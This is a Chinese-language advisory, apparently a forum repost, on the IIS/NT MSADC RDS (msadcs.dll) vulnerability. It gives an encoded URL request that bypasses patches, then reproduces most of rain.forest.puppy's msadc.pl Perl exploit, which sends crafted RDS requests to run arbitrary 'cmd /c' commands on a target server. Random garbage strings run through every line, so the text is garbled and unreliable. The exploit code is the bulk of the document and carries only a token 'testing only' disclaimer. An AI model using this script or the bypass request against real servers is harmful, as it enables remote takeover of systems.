IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9L$OSy| G]h_z|$K 涉及程序:
b5MBzFw Microsoft NT server
SM~ ~: h6k" D4o\ 描述:
)\yK61aX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
20I`F>-* ?22U0UF 详细:
4?Y7.:x 如果你没有时间读详细内容的话,就删除:
=`x }9|[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
!<TkX/O 有关的安全问题就没有了。
rC@VMe|0 4T@+gy^. 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
OROvy 0n:cmML)D 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
7R:j^"I@ 关于利用ODBC远程漏洞的描述,请参看:
I^EZ s6~ Tdh(J",d http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm LZ wCe$1 Muwlehuq 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
3qTr|8`s http://www.microsoft.com/security/bulletins/MS99-025faq.asp xHt7/8wF _-BP?'lN 这里不再论述。
\k5"&]I3 NzAh3k 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
(F^R9G| e6MBy\*n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\v&zsv\B@ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
LEM%B??&5z HW]?%9a j^=Eu r/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
Mf14> `<` JPn)Op6 #!perl
A|LO!P,w #
e".=E;o` # MSADC/RDS 'usage' (aka exploit) script
@%fTdneH #
gy@=)R/~ # by rain.forest.puppy
lrZ]c:%k #
dwk%!% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;N#}3lpLqg # beta test and find errors!
(o*YGYC N& use Socket; use Getopt::Std;
Nl[&rZ-& getopts("e:vd:h:XR", \%args);
YzjRD: /?r A| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
?o[h$7`o6 >SQzE if (!defined $args{h} && !defined $args{R}) {
.;g kV-] print qq~
Y_Fn)( Usage: msadc.pl -h <host> { -d <delay> -X -v }
y5F+~z}{ -h <host> = host you want to scan (ip or domain)
?PWg -d <seconds> = delay between calls, default 1 second
FkrXM!mJ -X = dump Index Server path table, if available
QL8C!&= -v = verbose
oc)`hg2= -e = external dictionary file for step 5
fD@d.8nXd .^*;hZ~4% Or a -R will resume a command session
Yw#fQFm YIwa = ^ ~; exit;}
~588M
8~ ( 0/M?YQF $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Uk] jy>7;! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Soq#cl'll- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{!D(3~MI if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]fzXrN_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
tkZUjQIX if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
K-:y EtzSaB*| if (!defined $args{R}){ $ret = &has_msadc;
[L2+k?
* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W]/J]O6 c45s
#6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_!1LV[x!s . "cmd /c ";
UH-873AK $in=<STDIN>; chomp $in;
-9FGFBm4] $command="cmd /c " . $in ;
(9RfsV4^ i<F7/p "- if (defined $args{R}) {&load; exit;}
'UhHcMh: z |llf7: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ss%, &try_btcustmr;
Oe1WnS 7(] 9[zxq`qT}+ print "\nStep 2: Trying to make our own DSN...";
SbGdcCB &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
b]b>i]n u ,3B[ print "\nStep 3: Trying known DSNs...";
V5(_7b#z`` &known_dsn;
K7`6G[RMb %Zk6K!MY# print "\nStep 4: Trying known .mdbs...";
r|UJJ9i &known_mdb;
chL1r9V)v GqxnB k1 if (defined $args{e}){
pZ'q_Oux print "\nStep 5: Trying dictionary of DSN names...";
'27$x&6>S &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
pi"M*$ ^%,{R},s print "Sorry Charley...maybe next time?\n";
PolJo?HZ exit;
y#B=9Ri=z }qM^J;uy ##############################################################################
P6.PjK!Ar K1hkOj;S sub sendraw { # ripped and modded from whisker
,Tr&`2w sleep($delay); # it's a DoS on the server! At least on mine...
N_bgW QY my ($pstr)=@_;
+]cf/_8+s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j%s,%#al die("Socket problems\n");
2>9\o]ac4 if(connect(S,pack "SnA4x8",2,80,$target)){
$x'jf?zs! select(S); $|=1;
b_RO%L:"yL print $pstr; my @in=<S>;
_ +DL select(STDOUT); close(S);
,Suk_aX> return @in;
G/p\MzDko } else { die("Can't connect...\n"); }}
D/Ki^E FDD=I\Ic ##############################################################################
:Q DkaA cxs@ph&Wk sub make_header { # make the HTTP request
5kw
K% my $msadc=<<EOT
B{&W|z{$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6:G&x<{ User-Agent: ACTIVEDATA
mv99SOe[Fz Host: $ip
0a89<yX Content-Length: $clen
+8zACs{p Connection: Keep-Alive
dh`s^D6Q> aInt[D( ADCClientVersion:01.06
jdG2u
p Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
KsOSPQDGE ?h4[yp=w --!ADM!ROX!YOUR!WORLD!
dPu27 " Content-Type: application/x-varg
Y^Buz<OiG Content-Length: $reqlen
DQY1oM)D! %U{sn\V EOT
qY8; k
# ; $msadc=~s/\n/\r\n/g;
Ld*Ds!*'/ return $msadc;}
u!D?^:u=) [Ix6ArY ##############################################################################
\;Q(o$5< RL4|!HzR sub make_req { # make the RDS request
u;$qJjS
N my ($switch, $p1, $p2)=@_;
c9[{P~y my $req=""; my $t1, $t2, $query, $dsn;
$V3If <~uzHg%Y if ($switch==1){ # this is the btcustmr.mdb query
>bV3~m$a+ $query="Select * from Customers where City=" . make_shell();
d[l8qaD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
it H $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
DL V ny] LAc60^t1 elsif ($switch==2){ # this is general make table query
1oO(;--u_ $query="create table AZZ (B int, C varchar(10))";
Fxa{
9'99 $dsn="$p1";}
x~}&t+FK poafGoH-Y elsif ($switch==3){ # this is general exploit table query
h<?Px"& J $query="select * from AZZ where C=" . make_shell();
n>u_>2Ikkj $dsn="$p1";}
S Yi !% OSO MFt elsif ($switch==4){ # attempt to hork file info from index server
(enr{1 $query="select path from scope()";
GjwH C{ $dsn="Provider=MSIDXS;";}
4Mg%}/cC jX4$PfOhR elsif ($switch==5){ # bad query
%G(VYCeK $query="select";
r
jn:E $dsn="$p1";}
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